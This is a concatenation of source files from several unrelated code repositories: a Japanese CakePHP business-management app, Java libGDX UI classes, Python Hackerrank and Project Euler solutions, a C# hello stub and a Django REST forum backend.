$this->set('title_for_layout', '管理者機能|');
}
public function manual() {
$this->set('title_for_layout', '操作マニュアル|管理者機能');
$titles = $this->Guide->get_admins_titles();
$this->set('titles', $titles);
$this->paginate = array(
'Guide' => array(
'conditions' => array(
'category' => 'admins',
'status !=' => 'disabled'
)
)
);
$this->set('guides', $this->paginate());
}
}
?><file_sep>/app/Controller/CategoriesController.php
<?php
class CategoriesController extends AppController {
public function beforeFilter() {
parent::beforeFilter();
}
public function isAuthorized($user) {
return parent::isAuthorized($user);
}
public function index() {
$this->set('title_for_layout', 'カテゴリ管理|');
$this->set('categories', $this->Category->find('all'));
}
public function add() {
$this->set('title_for_layout', '新規追加|カテゴリ管理|');
if($this->request->is('post')) {
$this->Category->create();
if($this->Category->save($this->request->data)) {
$this->Session->setFlash('カテゴリを追加しました。');
$this->redirect(array('action' => 'index'));
}
$this->Session->setFlash('カテゴリが追加できませんでした。');
}
}
public function edit($id = NULL) {
$this->set('title_for_layout', '編集|カテゴリ管理|');
if(!$id) {
throw new NotFoundExeption('Valid Post');
}
//データを取得
$category = $this->Category->findById($id);
if(!$category) {
throw new NotFoundExeption('Valid Post');
}
if($this->request->is('post') || $this->request->is('put')) {
$this->Category->id = $id;
if($this->Category->save($this->request->data)) {
$this->Session->setFlash('カテゴリを更新しました。');
return $this->redirect(array('action' => 'index'));
}
$this->Session->setFlash('カテゴリが更新できませんでした。');
}
if(!$this->request->data) {
$this->request->data = $category;
}
}
public function delete($id = NULL) {
$this->set('title_for_layout', '削除|カテゴリ管理|');
$this->request->onlyAllow('post');
$this->Category->id = $id;
$category = $this->Category->findById($id);
if(!$this->Category->exists()) {
throw new NotFoundException('Invalid Category');
}
if($this->Category->delete()) {
$this->Session->setFlash('カテゴリ['. $category['Category']['catname'] . ']を削除しました。');
return $this->redirect(array('action' => 'index'));
}
}
}
?><file_sep>/app/Model/Business.php
<?php
class Business extends AppModel {
public $validate = array(
'business_code' => array(
'rule' => 'alphaNumeric',
'allowEmpty' => TRUE,
'message' => '半角英数字で入力してください。'
),
'business_name' => array(
'required' => array(
'rule' => 'notEmpty',
'message' => '業務名は必須です。'
)
),
'category_id' => array(
'required' => array(
'rule' => 'notEmpty',
'message' => 'カテゴリは必須です。'
)
),
'customer' => array(
'required' => array(
'rule' => 'notEmpty',
'message' => 'お客様名は必須です。'
)
),
'order_date' => array(
'required' => array(
'rule' => 'date',
'message' => '日付のフォーマットはYY-MM-DDです。'
)
),
'deadline' => array(
'required' => array(
'rule' => 'date',
'message' => '日付のフォーマットはYY-MM-DDです。'
)
),
'wanted_deadline' => array(
'required' => array(
'rule' => 'date',
'message' => '日付のフォーマットはYY-MM-DDです。'
)
),
'wanted_persons' => array(
'required' => array(
'rule' => 'numeric',
'message' => '半角数値を入力してください。'
)
),
'status' => array(
'rule' => array('inList', array('active', 'unactive')),
'message' => '「募集する」か「募集しない」かを選択してください。'
)
);
}
?>
<file_sep>/app/View/Users/login.ctp
<div id="simpleform">
<h2>ログイン</h2>
<p>このウェブサイトをご利用になるには、まずログインしてください。</p>
<?php echo $this->Form->create('User'); ?>
<table>
<tr>
<th><?php echo $this->Form->label('username', 'ユーザID'); ?></th>
<td><?php echo $this->Form->input('username', array('label' => FALSE)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('password','<PASSWORD>'); ?></th>
<td><?php echo $this->Form->input('password', array('label' => FALSE)); ?></td>
</tr>
</table>
<div id="formsubmit">
<?php echo $this->Form->end('ログイン'); ?>
</div>
</div>
<file_sep>/app/View/Emails/text/question.ctp
集計担当者様
以下の内容で、一般募集していない業務への
問い合わせがありました。
氏名: <?php echo $name; ?>
業務名称: <?php echo $business_name; ?>
メールアドレス:
<?php echo $mail; ?>
コメント:
<?php echo $comments; ?>
|
ab07cebb18629c892966ac1e4fc1ab15899761e7
|
[
"Markdown",
"PHP"
] | 48
|
PHP
|
szkmiyabi/jcicloud
|
a109f0a30046d3152e8e60425786eaab5ff2480c
|
4042896b106a151c9c12414bdbd3e59e96b4105f
|
refs/heads/master
|
<file_sep>package blueberry.engine.UI;
import com.badlogic.gdx.graphics.Color;
import com.badlogic.gdx.graphics.g2d.Batch;
import com.badlogic.gdx.graphics.glutils.ShapeRenderer;
import com.badlogic.gdx.graphics.glutils.ShapeRenderer.ShapeType;
public class UiObject {
protected int align;
protected float x, y, width, height;
protected boolean isVisible = true;
protected UiObject parent;
protected InputListener listener;
public UiObject getParent() {
return parent;
}
public InputListener getListener() {
return listener;
}
public void setListener(InputListener listener) {
if (this.listener != null) {
this.listener.removeListener();
}
this.listener = listener;
if (listener != null) {
this.listener.x = x;
this.listener.y = y;
this.listener.width = width;
this.listener.height = height;
}
}
public void setPosition(float x, float y) {
switch (align) {
case Align.NULL:
this.x = x;
this.y = y;
break;
case Align.TOP_CENTER:
this.x = x - width/2;
this.y = y;
break;
case Align.CENTER:
this.x = x - width/2;
this.y = y - height/2;
break;
case Align.RIGHT:
this.x = x - width;
this.y = y;
default:
break;
}
if (listener != null) {
listener.x = this.x;
listener.y = this.y;
}
}
public void setSize(float width, float height) {
this.width = width;
this.height = height;
}
public void setVisible(boolean isVisible) {
this.isVisible = isVisible;
if (listener != null) {
listener.isVisible = isVisible;
}
}
public boolean isVisible() {
return isVisible;
}
public void dispose(){}
public void draw(Batch batch) {
ShapeRenderer render = new ShapeRenderer();
render.setProjectionMatrix(batch.getProjectionMatrix());
render.setTransformMatrix(batch.getTransformMatrix());
batch.end();
render.begin(ShapeType.Line);
render.rect(x, y, width, height);
if (listener != null) {
render.setColor(Color.RED);
render.rect(x, y, width, height);
render.setColor(Color.WHITE);
}
render.end();
batch.begin();
}
public UiObject(float x, float y, float width, float height, int align) {
this.x = x;
this.y = y;
this.width = width;
this.height = height;
this.align = align;
}
public class Align {
public static final int NULL = -1, LEFT = 0, CENTER = 1, TOP_CENTER = 2, RIGHT = 3;
}
}
<file_sep>package blueberry.engine.math;
public class SimpleMath {
public static float clamp(float value, int min, int max) {
if (value < min) {
return min;
} else if (value > max) {
return max;
}
return value;
}
public static int clamp(int value, int min, int max) {
if (value < min) {
return min;
} else if (value > max) {
return max;
}
return value;
}
public static float clamp(float value, float min, float max) {
if (value < min) {
return min;
} else if (value > max) {
return max;
}
return value;
}
/**
* direction in degrees
* @param distance
* @param direction
* @return
*/
public static double lengthdirX(float distance, float direction) {
return Math.cos(Math.toRadians(direction)) * distance;
}
public static double lengthdirY(float distance, float direction) {
return Math.sin(Math.toRadians(direction)) * distance;
}
public static double distance(float x1, float y1, float x2, float y2) {
return Math.sqrt(Math.pow(x2 - x1, 2) + Math.pow(y2 - y1, 2));
}
public static double direction(float x1, float y1, float x2, float y2) {
return Math.atan2((y2 - y1), (x2 - x1));
}
public static float sign(Float num) {
return num.compareTo(0f);
}
public static float lerp(float num1, float num2, float alpha)
{
return num1 + alpha * (num2 - num1);
}
}
<file_sep>package blueberry.engine.UI;
import com.badlogic.gdx.Input.Buttons;
import com.badlogic.gdx.graphics.g2d.Batch;
import com.badlogic.gdx.graphics.g2d.NinePatch;
import blueberry.engine.input.Input;
import blueberry.engine.math.SimpleMath;
public class Scrollbar extends Table {
private Button scroll;
private float scrollYtarget;
private NinePatch background;
public float getYoffset() {
return y - scroll.y;
}
@Override
public void setPosition(float x, float y) {
super.setPosition(x, y);
scrollYtarget = scroll.y;
}
public void setScrollHeight(float height) {
if (height < this.height) {
scroll.y = y;
}
scroll.height = SimpleMath.clamp(this.height/ (height / this.height), 0, this.height);
scroll.listener.height = scroll.height;
}
@Override
public void draw(Batch batch) {
if (background != null) {
background.draw(batch, x, y, width, height);
}
super.draw(batch);
}
public void setStyle(NinePatch buttonBackground, NinePatch buttonHover, NinePatch background) {
scroll.background = buttonBackground;
scroll.hover = buttonHover;
this.background = background;
}
public Scrollbar(float x, float y, float width, float height, int align) {
super(x, y, width, height, align);
scroll = new Button(x, y, width, SimpleMath.clamp(20f, 0f, height), null, null, Align.NULL) {
@Override
public void draw(Batch batch) {
if (Math.abs(scrollYtarget - y) > 0.05f) {
setPosition(x, y + (scrollYtarget - y)/20);
}
super.draw(batch);
}
};
scroll.setListener(new InputListener(Buttons.LEFT) {
private float mousePreviousY;
@Override
public void released() {
}
@Override
public void entered() {
mousePreviousY = Input.getUiMouseY();
}
@Override
public void click() {
mousePreviousY = Input.getUiMouseY();
}
@Override
public void hold() {
float mouseY = Input.getUiMouseY(), yDelta = mouseY - mousePreviousY;
scroll.setPosition(x, SimpleMath.clamp(scroll.y + yDelta, Scrollbar.this.y, Scrollbar.this.y + Scrollbar.this.height - scroll.height));
scrollYtarget = scroll.y;
mousePreviousY = mouseY;
InputListener.focused = this;
super.hold();
}
});
this.addChildren(scroll);
this.setListener(new InputListener(Buttons.LEFT) {
@Override
public void click() {
scrollYtarget = SimpleMath.clamp(Input.getUiMouseY() - scroll.height/2, Scrollbar.this.y, Scrollbar.this.y + Scrollbar.this.height - scroll.height);
super.click();
}
});
}
}
<file_sep>package blueberry.engine.UI;
import com.badlogic.gdx.graphics.g2d.Batch;
public class ButtonHoverTable extends Table {
InputListener lastHovered;
@Override
public void draw(Batch batch) {
for (UiObject uiObject : children) {
if (uiObject instanceof Button)
if (((Button)uiObject).getListener().isHovered) {
lastHovered = ((Button)uiObject).getListener();
}
}
if (lastHovered != null) {
lastHovered.isHovered = true;
}
super.draw(batch);
}
public ButtonHoverTable(int x, int y, int width, int height, int align) {
super(x, y, width, height, align);
}
}
<file_sep>package blueberry.engine.UI;
import java.util.List;
import java.util.concurrent.CopyOnWriteArrayList;
import com.badlogic.gdx.graphics.g2d.Batch;
import com.badlogic.gdx.math.Rectangle;
import com.badlogic.gdx.scenes.scene2d.utils.ScissorStack;
import blueberry.engine.world.Room;
public class Table extends UiObject {
protected List<UiObject> children = new CopyOnWriteArrayList<>();
protected Rectangle bounds;
protected Rectangle scissors = new Rectangle();
protected float origX, origY;
protected int space;
protected ResizeListener resizeListener;
protected boolean isResiziable = true;
public void setResiziable(boolean isResiziable) {
this.isResiziable = isResiziable;
}
@Override
public void setSize(float width, float height) {
super.setSize(width, height);
if (resizeListener != null) {
resizeListener.resized(width, height);
}
}
public void setSpace(int space) {
this.space = space;
}
@Override
public void setVisible(boolean isVisible) {
super.setVisible(isVisible);
for (UiObject uiObject : children) {
uiObject.setVisible(isVisible);
}
}
@Override
public void draw(Batch batch) {
origX = bounds.x;
origY = bounds.y;
bounds.x = Room.getCurrentRoom().getWorldViewPositionX() + origX;
bounds.y = Room.getCurrentRoom().getWorldViewPositionY() + origY;
ScissorStack.calculateScissors(UiManager.camera, batch.getTransformMatrix(), bounds, scissors);
batch.flush();
if (ScissorStack.pushScissors(scissors)) {
for (UiObject uiObject : children) {
uiObject.draw(batch);
}
batch.flush();
ScissorStack.popScissors();
}
bounds.x = origX;
bounds.y = origY;
super.draw(batch);
}
protected void layout() {
if (align != Align.NULL) {
int height = 0, totalHeight = 0;
for (int i = 0; i < children.size(); i++) {
height += children.get(i).height;
if (i < children.size() - 1) {
height += space;
}
}
float y = this.y;// + (this.height - height) / 2;
if (align == Align.CENTER) {
y += (this.height - height) / 2;
}
for (UiObject uiObject : children) {
float xOffset = 0, yOffset = 0;
if (uiObject.align == Align.TOP_CENTER) {
xOffset = width/2;
}
uiObject.setPosition(this.x + xOffset/* + this.width / 2*/, y);
y += uiObject.height + space;
totalHeight += uiObject.height + space;
}
if (isResiziable)
setSize(width, totalHeight);
}
}
public void childrenResized() {}
@Override
public void setPosition(float x, float y) {
float oldX = this.x, oldY = this.y;
super.setPosition(x, y);
float offsetX = this.x - oldX, offsetY = this.y - oldY;
for (UiObject uiObject : children) {
uiObject.setPosition(uiObject.x + offsetX, uiObject.y + offsetY);
}
bounds = new Rectangle(this.x, this.y, width, height);
}
public void addChildren(UiObject children) {
this.children.add(children);
children.parent = this;
children.setVisible(isVisible);
layout();
}
public void clearChildren() {
for (UiObject uiObject : children) {
uiObject.dispose();
uiObject.parent = null;
uiObject = null;
}
children.clear();
}
public List<UiObject> getChildren() {
return children;
}
public void removeChildren(UiObject children) {
children.dispose();
children.parent = null;
this.children.remove(children);
children = null;
layout();
}
public Table(float x, float y, float width, float height, int align) {
super(x, y, width, height, align);
bounds = new Rectangle(x, y, width, height);
setSize(width, height);
}
}
<file_sep>package blueberry.engine.input;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.InputProcessor;
import com.badlogic.gdx.graphics.Camera;
import com.badlogic.gdx.math.Vector3;
public class Input {
private static Camera camera, uiCamera;
/*private static int keyCount = 155;
private static int mouseButtonCount = 5;
private static boolean[] keysDown = new boolean[keyCount];
private static boolean[] keysPressed = new boolean[keyCount];
private static boolean[] mouseButtonDown = new boolean[mouseButtonCount];
private static boolean[] mouseButtonPressed = new boolean[mouseButtonCount];*/
private static int wheel = 0;
public static float getMouseX() {
return camera.unproject(new Vector3(Gdx.input.getX(), Gdx.input.getY(), 0)).x;
}
public static float getMouseY() {
return camera.unproject(new Vector3(Gdx.input.getX(), Gdx.input.getY(), 0)).y;
}
public static float getMouseDeltaX() {
return uiCamera.unproject(new Vector3(Gdx.input.getDeltaX(), Gdx.input.getDeltaY(), 0)).x;
}
public static float getMouseDeltaY() {
return uiCamera.unproject(new Vector3(Gdx.input.getDeltaX(), Gdx.input.getDeltaY(), 0)).y;
}
public static float getUiMouseX() {
return uiCamera.unproject(new Vector3(Gdx.input.getX(), Gdx.input.getY(), 0)).x;
}
public static float getUiMouseY() {
return uiCamera.unproject(new Vector3(Gdx.input.getX(), Gdx.input.getY(), 0)).y;
}
public static boolean isKeyDown(int key) {
return Gdx.input.isKeyPressed(key);
}
public static boolean isKeyPressed(int key) {
return Gdx.input.isKeyJustPressed(key);
}
public static boolean isMouseDown(int key) {
return Gdx.input.isButtonPressed(key);
}
public static boolean isMousePressed(int key) {
return Gdx.input.isButtonPressed(key) && Gdx.input.justTouched();
}
public static boolean isWheelUp() {
if (wheel < 0) {
wheel = 0;
return true;
}
return false;
}
public static boolean isWheelDown() {
if (wheel > 0) {
wheel = 0;
return true;
}
return false;
}
public static void setCamera(Camera camera, Camera uiCamera) {
Input.camera = camera;
Input.uiCamera = uiCamera;
Gdx.input.setInputProcessor(new InputProcessor() {
@Override
public boolean touchUp(int arg0, int arg1, int arg2, int arg3) {
return false;
}
@Override
public boolean touchDragged(int arg0, int arg1, int arg2) {
return false;
}
@Override
public boolean touchDown(int arg0, int arg1, int arg2, int arg3) {
return false;
}
@Override
public boolean scrolled(int arg0) {
wheel = arg0;
return false;
}
@Override
public boolean mouseMoved(int arg0, int arg1) {
return false;
}
@Override
public boolean keyUp(int arg0) {
return false;
}
@Override
public boolean keyTyped(char arg0) {
return false;
}
@Override
public boolean keyDown(int arg0) {
return false;
}
});
}
}
<file_sep>package blueberry.engine.render;
import java.awt.Image;
import java.awt.Toolkit;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.Transferable;
import java.awt.datatransfer.UnsupportedFlavorException;
import java.io.IOException;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import javax.swing.ImageIcon;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.files.FileHandle;
import com.badlogic.gdx.graphics.Pixmap;
import com.badlogic.gdx.graphics.PixmapIO;
import com.badlogic.gdx.utils.BufferUtils;
import com.badlogic.gdx.utils.ScreenUtils;
/*
* Code from http://omtlab.com/java-store-image-in-clipboard/
*/
public class Screenshot {
public static Screenshot data = new Screenshot();
public void take() {
byte[] pixels = ScreenUtils.getFrameBufferPixels(0, 0, Gdx.graphics.getBackBufferWidth(), Gdx.graphics.getBackBufferHeight(), true);
for (int i = 4; i < pixels.length; i += 4) {
pixels[i - 1] = (byte) 255;
}
Pixmap pixmap = new Pixmap(Gdx.graphics.getBackBufferWidth(), Gdx.graphics.getBackBufferHeight(), Pixmap.Format.RGBA8888);
BufferUtils.copy(pixels, 0, pixmap.getPixels(), pixels.length);
DateFormat dateFormat = new SimpleDateFormat("yyyy_MM_dd_HH_mm_ss");
Date date = new Date();
PixmapIO.writePNG(new FileHandle(System.getProperty("user.dir") + "/screenshot" + dateFormat.format(date) + ".png"), pixmap);
pixmap.dispose();
//ImageSelection imgSel = new ImageSelection(new ImageIcon(System.getProperty("user.dir") + "/screenshotGame.png").getImage());
//Toolkit.getDefaultToolkit().getSystemClipboard().setContents(imgSel, null);
//file.delete();
}
private Screenshot() {
}
class ImageSelection implements Transferable {
private Image image;
public ImageSelection(Image image) {
this.image = image;
}
public DataFlavor[] getTransferDataFlavors() {
return new DataFlavor[] { DataFlavor.imageFlavor };
}
public boolean isDataFlavorSupported(DataFlavor flavor) {
return DataFlavor.imageFlavor.equals(flavor);
}
public Object getTransferData(DataFlavor flavor)
throws UnsupportedFlavorException, IOException {
if (!DataFlavor.imageFlavor.equals(flavor)) {
throw new UnsupportedFlavorException(flavor);
}
return image;
}
}
}
|
1a2390a28d2b4fde05c2324a16c2de371482059d
|
[
"Java"
] | 7
|
Java
|
lotziko/BlueberryEngine
|
36508c4a9a6f379df418d1ea611776196ee92bee
|
d0fcfa8d5087c58ad7c5d80a9aa18748ebd96a06
|
refs/heads/master
|
<file_sep>import string
import re
from nltk.tokenize import RegexpTokenizer
import zlib
import base64
import ast
import fileinput
def update_trie(word, trie):
"""
Function to update the given trie with the given word.
"""
current_dict = trie
for letter in word:
current_dict = current_dict.setdefault(letter, {})
current_dict.setdefault('', 0)
current_dict[''] += 1
def get_trie_count_missing(word, trie):
"""
Function to try to find a word in the given try,
taken into account that the word can have missing letters (#).
"""
current_trie_list = [('', trie)] # List that holds all matches
for letter in word:
if letter == '#':
# Add all possible matches
current_trie_list = [(s+char, trie[char])
for char in string.lowercase
for (s, trie) in current_trie_list
if char in trie]
else:
# Update all matches
current_trie_list = [(s+letter, trie[letter])
for (s, trie) in current_trie_list
if letter in trie]
# Aggregate all found words an counts
results = [(s, trie['']) for (s, trie) in current_trie_list if '' in trie]
# Sort the aggreagation by counts
results.sort(reverse=True, key=lambda tup: tup[1])
# Return None if no matches are found
if len(results) == 0:
return (None, 0)
# Return the best matching word if matches are found
return results[0]
def get_missing_letters(trie, word):
"""
Function that tries to match the word with missing value on the trie
and return the missing letters.
"""
result = get_trie_count_missing(word, trie)
# Find all the indices
idxs = [i.start() for i in re.finditer('#', word)]
# match the indicies with the result
# if no match is found, return 'e', the most common letter in English
return (result, [(result[0][i] if result[0] is not None else 'e') for i in idxs])
def main():
# Get the text
missing_text = next(fileinput.input())
# Create the trie
trie = ast.literal_eval(zlib.decompress(base64.decodestring(serialized)))
# Get all tokens of the text
all_tokenize_regex = r'(\s|--|[^\w#]|\d|_)+'
word_tokenizer = RegexpTokenizer(all_tokenize_regex, gaps=True, flags=re.UNICODE)
# get the tokens
all_tokens = word_tokenizer.tokenize(missing_text)
all_tokens = [token.lower() for token in all_tokens]
# update the trie
for token in all_tokens:
update_trie(token, trie)
# Get the tokens with missing letters
list_of_missing = [token for token in all_tokens if '#' in token]
# Print all the missing letters that are found
for word in list_of_missing:
result, letters = get_missing_letters(trie, word)
# print 'e' if a '#' was returned
for l in letters:
print (l if l is not '#' else 'e')
serialized = """eNq<KEY>
w2zbfvy/27/++tf/+V//7/av1X//51//+T+hCf/f/7r9a33/z+/P/xz/+18v9/96vv/P6fsP8ziO
//3j7f2/X5//KIyPP3m5/8njL/z9/Rf6xx/v7//98P3fm7b4ccP3f03fP+0oftrl+8+77vHnp/sf
7Is/f/7Pqvihz7+if9J/P9f4/dtu6B9+ff/VOjz/4of4i9PTKb7Lpfh9f55QPf2eQT2E+7f58zia
4kesir/2fBU38ePJt2ofv+j52WP/+<KEY>
<KEY>
dp<KEY>To9+Wi3799UEHGnw1q6Bo1nWRCriK+vhM8ge8y8Rczi0LZyE
d+W/Himi/w==
"""
if __name__ == "__main__":
main()<file_sep>import json
import numpy as np
import fileinput
import pickle
import zlib
import base64
import sklearn.linear_model
serialized_model="""<KEY>
"""
# Courses:
# Create a list that holds the courses
course_list = [
'Mathematics', # 0
'English', # 1
'Physics', # 2
'Chemistry', # 3
'ComputerScience', # 4
'Hindi', # 5
'Biology', # 6
'PhysicalEducation', # 7
'Economics', # 8
'Accountancy', # 9
'BusinessStudies' # 10
]
# Create dictionary to hold index values so that these can easily be found when needed.
index_dict = dict()
for i in xrange(len(course_list)):
index_dict[course_list[i]] = i
number_of_courses = len(index_dict)
# Mathematics needs to be predicted
# Hindi has never a grade in the training set
# English is always present
# There are 8 remaining classes, of which each time 3 are chosen
# Define the course columns to extract for the X matrix
# Mathematics needs to be predicted
# Hindi doesnt have any grades in the test set
X_columns = [1,2,3,4,6,7,8,9,10]
def get_json_courses(sample_line):
"""
Function to extract a json object with grades from sample_line.
Get each course from this json object and return as a vector
"""
x = np.zeros((number_of_courses,), dtype=np.int)
sample = json.loads(sample_line)
for course, grade in sample.iteritems():
if course != 'serial':
x[index_dict[course]] = grade
return x
def predict_integer_grade(model, x):
"""
Make predictions for x with the given model.
"""
output = model.predict(x)
output = np.round(output).astype(int)
# make sure the output is between 1, and 8.
# since an error of 1 can be made, the minimum prediction is 2, maximum is 7
output[output < 2] = 2
output[output > 7] = 7
return output
def main():
# Get the model
model = pickle.loads(zlib.decompress(base64.decodestring(serialized_model)))
# Read the input and make predictions
inp = fileinput.input()
nb_of_samples = int(next(inp))
XY = np.zeros((nb_of_samples, number_of_courses), dtype=np.int)
for idx, line in enumerate(inp):
x = get_json_courses(line)
XY[idx, :] = x
X_test = XY[:, X_columns]
# Make and print predictions
output = predict_integer_grade(model, X_test)
for p in output:
print p
if __name__ == '__main__':
main()<file_sep># ML Traveller
For the ML Traveller tasks I solved the following problems:
1. [Project Euler 96](https://projecteuler.net/problem=96).
2. Hackerrank
* [The Missing Characters](https://www.hackerrank.com/challenges/the-missing-characters/leaderboard)
* [Predict the Missing Grade](https://www.hackerrank.com/challenges/predict-missing-grade)
## Project Euler Problem 96
This problem is about solving Sudoku puzzles. This problem is rather trivial if you know about constraint logic programming solvers.
I picked the [Numberjack python](http://numberjack.ucc.ie/) library to code my solution in. The Numberjack library lets you code the constraints in python and uses a number of efficient constraint solvers in the back to efficiently solve the problem.
[Final solution](https://raw.githubusercontent.com/peterroelants/ML_Traveller/master/Euler96/sudoku.py)
## Hackerrank
### The Missing Characters
In the missing characters problem missing characters (represented by `#`) in words need to be predicted.
[IPython notebook link with description of solution.](http://nbviewer.ipython.org/github/peterroelants/ML_Traveller/blob/master/The_Missing_Characters/missing_characters.ipynb)
[The final file submitted to Hackerrank](https://raw.githubusercontent.com/peterroelants/ML_Traveller/master/The_Missing_Characters/main.py)
### Predict the Missing Grade
In the missing grade problem final grades for a Mathematics course taken by a student need to be predicted given grades from other courses done by that student.
[IPython notebook link with description of solution.](http://nbviewer.ipython.org/github/peterroelants/ML_Traveller/blob/master/Predict_the_Missing_Grade/missing_grade.ipynb)
[The final file submitted to Hackerrank](https://raw.githubusercontent.com/peterroelants/ML_Traveller/master/Predict_the_Missing_Grade/main.py)
<file_sep>"""
For the project euler problem I picked the Sudoku solver problem (problem 96)[https://projecteuler.net/problem=96].
This problem is rather trivial with a constraint logic programming solver.
I picked the (Numberjack python)[http://numberjack.ucc.ie/] library to code my solution in.
This library lets you code the constraints in python and uses a number of (C++) constraint solvers
in the back to efficiently solve the problem.
"""
import urllib2
import re
import numpy as np
from Numberjack import *
def parse_sudokus():
"""
Function to read the sudokus from the given url file, and parse them
so they are represented in an numpy matrix.
Returns a list of sudoku matrices.
"""
# Open the url with the sudokus for the challenge
data = urllib2.urlopen('https://projecteuler.net/project/resources/p096_sudoku.txt')
sudokus = [] # List to hold all sudokus
current_sudoku = None # Current sudoku we are building
current_sudoku_row = 0 # Current line of the current sudoku we are building
for line in data:
# Check if the line is the start of a new sudoku
result = re.match(r'(Grid \d\d)', line.strip())
if not result is None:
# New sudoku
current_sudoku = np.zeros((9,9), dtype=np.int8)
current_sudoku_row = 0
# store the new sudoku
sudokus.append(current_sudoku)
else:
# Get the numbers
result = re.match(r'(\d{9})', line.strip())
col_string = result.groups()[0]
# Fill up sudoku
for col in xrange(0, 9):
current_sudoku[current_sudoku_row, col] = int(col_string[col])
current_sudoku_row += 1
return sudokus
def solve_sudoku(sudoku):
"""
Function to solve the given sudoku with the help of the solver.
Return the solution as a matrix in the solver library.
"""
# Define the solution matrix that represents the sudoku puzzle
solution = Matrix(9, 9, 1, 9)
# Set up the model
model = Model()
# Set the constraints for the filled in cells
for i in xrange(0, 9):
for j in xrange(0, 9):
if sudoku[i, j] > 0:
model.add(solution[i, j] == int(sudoku[i, j]))
# Add the constraint that all rows need to be different
model.add([AllDiff(x) for x in solution.row])
# Add the constraint that all columns need to be different
model.add([AllDiff(y) for y in solution.col])
# Add the constraint that all cells need to be different
for i in xrange(0, 3):
for j in xrange(0, 3):
# Generate the constraint for each cell
# x goes over the rows in each cell
# y goes over the columns in each cell
model.add(AllDiff(
[solution[x, y] for x in xrange(i*3, (i+1)*3) for y in xrange(j*3, (j+1)*3)]))
# Load a solver and solve the problem
solver = model.load('MiniSat')
solver.solve()
return solution
def get_first_three(sudoku):
"""
Function that solves the given sudoku and returns the first 3 digits of the first row.
"""
solution = solve_sudoku(sudoku)
return int(''.join([str(solution[0,i]) for i in xrange(0,3)]))
def main():
# Get al the puzzles from the url
sudokus = parse_sudokus()
# Sum the first 3 digits for each solution
sum_numbers = 0
for sudoku in sudokus:
sum_numbers += get_first_three(sudoku)
print sum_numbers
if __name__ == "__main__":
main()
|
c5235c40600e1b70dbff2ff0b40499188ec0d702
|
[
"Markdown",
"Python"
] | 4
|
Python
|
peterroelants/ML_Traveller
|
7d9459ccda20546506a04c6eea3302fecc8b53a5
|
aaa84fc747793dcd0410cf8e3a62711dbd2eaaba
|
refs/heads/master
|
<file_sep>using System;
namespace _00_Hello
{
public class Functions
{
public static string Hello(String Fred)
{
return "hello"+Fred;
}
}
}
|
c3eceb9fc72be477775f6737b15e26505ed8dcf8
|
[
"C#"
] | 1
|
C#
|
dani757b/00_Hello
|
6f0897845a822511320f7e914731a9456e4c44e3
|
c5da891ca5f14d096a4fdcb5bbfea4973872c1b4
|
refs/heads/master
|
<file_sep>from django.shortcuts import render
from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import status
from forum import models
from forum import serializers
# Create your views here.
class ShortThreadList(APIView):
def get(self, request):
threads = models.Thread.objects.all()
serializer = serializers.ShortThreadSerializer(threads, many=True)
return Response(serializer.data)
class Thread(APIView):
def get(self, request, pk):
threads = models.Thread.objects.get(pk=pk)
serializer = serializers.ThreadSerializer(threads, many=False)
return Response(serializer.data)
class Add(APIView):
def post(self, request, *args, **kwargs):
num1 = request.data.get('num1', None)
num2 = request.data.get('num2', None)
if num1 and num2:
add = int(num1) + int(num2)
sub = int(num1) - int(num2)
return Response({"add": add, "sub": sub})
else:
return Response({"success": False})
<file_sep>from django.contrib import admin
from django.urls import path
from forum import views
urlpatterns = [
path('threads', views.ShortThreadList.as_view(), name="shortthread-list"),
path('threads/<int:pk>', views.Thread.as_view(), name="thread"),
path('add', views.Add.as_view(), name='Add')
]
<file_sep>from django.contrib import admin
from forum.models import Tag, Thread, Answer, Comment, Response
# Register your models here.
admin.site.register(Tag)
admin.site.register(Thread)
admin.site.register(Answer)
admin.site.register(Comment)
admin.site.register(Response)<file_sep>from django.db import models
from django.conf import settings
class Thread(models.Model):
title = models.CharField(max_length=250)
description = models.TextField(max_length=250)
vote = models.BigIntegerField()
created_at = models.DateTimeField(auto_now_add=True)
# tag = models.ForeignKey(Tag,on_delete=models.CASCADE)
user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)
def __str__(self):
return self.title
class Meta:
verbose_name_plural = 'Threads'
class Tag(models.Model):
keyword = models.CharField(max_length=100)
thread = models.ForeignKey(Thread,on_delete=models.CASCADE)
def __str__(self):
return self.keyword
class Answer(models.Model):
description = models.TextField()
vote = models.BigIntegerField()
created_at = models.DateTimeField(auto_now_add=True)
thread = models.ForeignKey(Thread,on_delete=models.CASCADE)
user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)
class Comment(models.Model):
body= models.TextField()
created_at = models.DateTimeField(auto_now_add=True)
answer = models.ForeignKey(Answer,on_delete=models.CASCADE)
user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)
class Response(models.Model):
body= models.TextField()
created_at = models.DateTimeField(auto_now_add=True)
thread = models.ForeignKey(Thread,on_delete=models.CASCADE)
user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)
class UserVoteThread(models.Model):
status = models.BooleanField()
user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)
thread = models.ForeignKey(Thread,on_delete=models.CASCADE)
class UserVoteAnswer(models.Model):
status = models.BooleanField()
user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)
answer = models.ForeignKey(Answer,on_delete=models.CASCADE)
<file_sep>from rest_framework import serializers
from django.contrib.auth.models import User
from forum.models import Tag, Thread, Answer, Comment, Response, UserVoteThread, UserVoteAnswer
class TagSerializer(serializers.ModelSerializer):
class Meta:
model = Tag
fields = ('pk','keyword')
class CommentSerializer(serializers.ModelSerializer):
class Meta:
model = Comment
fields = ('body','created_at')
class ResponseSerializer(serializers.ModelSerializer):
class Meta:
model = Response
fields = ('body','created_at')
class UserSerializer(serializers.ModelSerializer):
# snippets = serializers.PrimaryKeyRelatedField(many=True, queryset=Snippet.objects.all())
class Meta:
model = User
# fields = ('id', 'username', 'snippets')
fields = ('id', 'username')
class AnswerSerializer(serializers.ModelSerializer):
comment_set = CommentSerializer(many=True, read_only=True)
class Meta:
model = Answer
